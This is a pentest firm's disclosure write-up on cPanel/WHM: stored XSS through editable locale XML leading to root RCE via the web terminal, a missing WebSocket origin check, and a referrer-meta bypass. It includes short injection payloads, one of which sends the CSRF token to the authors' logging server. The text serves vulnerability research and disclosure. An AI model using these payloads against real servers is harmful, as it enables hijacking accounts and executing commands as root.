cPanel is a web hosting control panel software developed by cPanel, LLC. It provides a graphical interface (GUI) and automation tools designed to simplify the process of hosting a web site to the website owner or the “end user”. It enables administration through a standard web browser using a three-tier structure. While cPanel is limited to managing a single hosting account, cPanel & WHM allows the administration of the entire server. Our team has found multiple vulnerabilities in cPanel/WHM during a black-box pentest, the most important ones being an RCE and privilege escalation via stored XSS.
Whilst disclosing these bugs to the cPanel/WHM team, we discovered the pentested cPanel account was a reseller account with the permission to edit locales, thus this is not a default setting. The XSS vulnerability which we will present is considered a feature, so there is no fix yet. We will show how we abused this “feature” to gain RCE and escalate privileges to root. We will then present another vulnerability chain to achieve the same result, where only a html injection vulnerability is enough to bypass the CSRF/referrer leak protection. However, the second method exploitation is more convoluted and is shown for demonstration purposes only.
A (failed) XXE
By navigating through cPanel, we realized that there was a link which allowed us to redirect to WHM, with the same limited privileges that we had. We have not encountered this configuration previously, so this was something new to us and the main benefit was that it has obviously increased our attack surface. Cool! One of the things that stood out quickly was that we could add/edit locales which were in XML/XLF format.
Let’s check for XXE then:
cPanel triggers a request to fetch the DTD from our remote server:
Our next step was obviously to read files from the local filesystem, however nothing worked. We’ve tried using external DTDs, internal DTDs, attacking other services on the localhost, however none of that worked. We then tried various cheatsheets, but this proved to be a dead end because parameter entities were disabled and most of the pseudo protocols were not supported. We’ve spent a lot of time trying to exploit it, close but no cigar.
RCE and Privilege escalation via stored XSS
Whilst scratching our heads, trying to exploit the previous XXE, we have found out that the XML file contained many “key” attributes which were displayed back to the user. So, could it be possible that we have found a stored XSS vulnerability? The xml file is a very large file, so we will only post here the relevant snippet. Also it’s important to note that we encoded the payload to maintain the XML structure:
<item key="data"> <hashref memory_address="0x2ec3690"> <item key="<script>alert(1)</script>">&x;</item> <item key=" … done."></item> <item key=" … “[_1]” complete (but with errors)."></item> <item key=" … “[_1]” complete."></item>
and here’s the evidence with the corresponding alert:
This gives you the ability to gain RCE and privilege escalation via stored XSS vulnerability in cPanel/WHM. Since cPanel/WHM allows you to execute shell commands from the browser, using web terminals (via websockets, details in the next paragraph) and we just XSSed the root user, it means we got RCE on the server as root, see below:
The screenshot bellow is from Burp Suite this time for convenience (better visualization):
There is another way to achieve the same result (RCE as root), however this one is more complicated it and we will describe it in the next sections.
No origin check for WebSockets
cPanel/WHM support web terminals which basically allows you to execute commands on the server in a ssh-like manner. So, I was wondering how’s this implemented? I started look at the traffic in Burp history and it looks like they’re using WebSockets for this. As we all know, WebSockets don’t respect the SOP by default, so the question is did the developers check the Origin header? Let’s have a look:
So we’ve replaced the Origin header in the request with our own domain, fortbridge.co.uk and the server didn’t check for this! Cool, however if you look at the request, it also includes a CSRF token, which is in the url and has the form cpsessXXXXXXX. Can we leak this token somehow?
A “secure” Referrer policy
We already have an XSS, which bypasses CSRF by design, however we started wondering, what if we didn’t have an XSS and we only had a HTML content injection vulnerability? This should be enough to leak the CSRF token to our remote server, right? Wrong! Let’s see what happens. We’ve modified the XML to contain the following html code to leak the CSRF token to our server:
<item key="/usr/local/cpanel/locale/en.yaml"> <hashref memory_address="0x1b7c870"> <item key="data"> <hashref memory_address="0x2ec3690"> <item key="">&x;</item> <item key="<img src=https://fortbridge.co.uk/log.php>"></item> <item key=" … “[_1]” complete (but with errors)."></item>
Please notice that we encode the key attribute to keep the xml structure intact. We’ve also setup a simple logger script on our server which logs all request headers to a txt file. Let’s take a look at the logs we get:
As you can see in the Referer header, we receive only the domain and the port, there’s no CSRF token. Good thing we actually checked for this, but why is this happening? On closer inspection, we discovered that cPanel sets the following meta tag, to prevent exactly the above type of infoleak:
<meta name="referrer" content="origin">
This will only leak the origin domain, nothing else. You can find more information here. We need a way to bypass this, assuming we only have html content injection vulnerability, not a full blown XSS.
CSRF vulnerability in cPanel/WHM
We’ve tried many things, bellow is the html content injection that actually worked. Because of how browsers parse html (very laxed), we can simply re-enable the Referer leak cross domain with this:
<hashref memory_address="0x2ec3690"> <item key="">&x;</item> <item key="<meta name=referrer content=unsafe-url> <img src=https://fortbridge.co.uk/log.php>"></item> <item key=" … “[_1]” complete (but with errors)."></item> <item key=" … “[_1]” complete."></item> <item key="# of Messages"></item> <item key="$[_1] USD is too high. This product’s price may not exceed $[_2] USD per domain."></item>
Setting the referrer meta tag to “unsafe-url” will allow us to leak the CSRF token cross domain again.
RCE and privilege escalation via CSWSH
We know that the origin is not checked and we already showed how to leak the CSRF token, therefor we can gain RCE and privilege escalation via CSWSH vulnerability in cPanel/WHM. We also need to mention that this attack was tested in Firefox, because Chrome has enabled samesite cookies by default. This vulnerability allows for both horizontal and vertical privilege escalation. Below is a demo for RCE and horizontal privilege escalation:
And here is a POC for RCE and privilege escalation via CSWSH vulnerability in cPanel/WHM as root user:
As mentioned, abusing websockets is a more convoluted path, an attacker would definitely use the first option, by abusing the stored XSS. Using the stored XSS (not patched – “a feature”) is a lot easier in practice. We have disclosed multiple vulnerabilities in cPanel/WHM to their team and we would like to thank them for their cooperation. We have shown two ways of exploitation “RCE and Privilege Escalation via stored XSS” and “RCE and Privilege Escalation via CSWSH”. cPanel team has patched the XXE during the July update, and as far as we know everything else remains unfixed.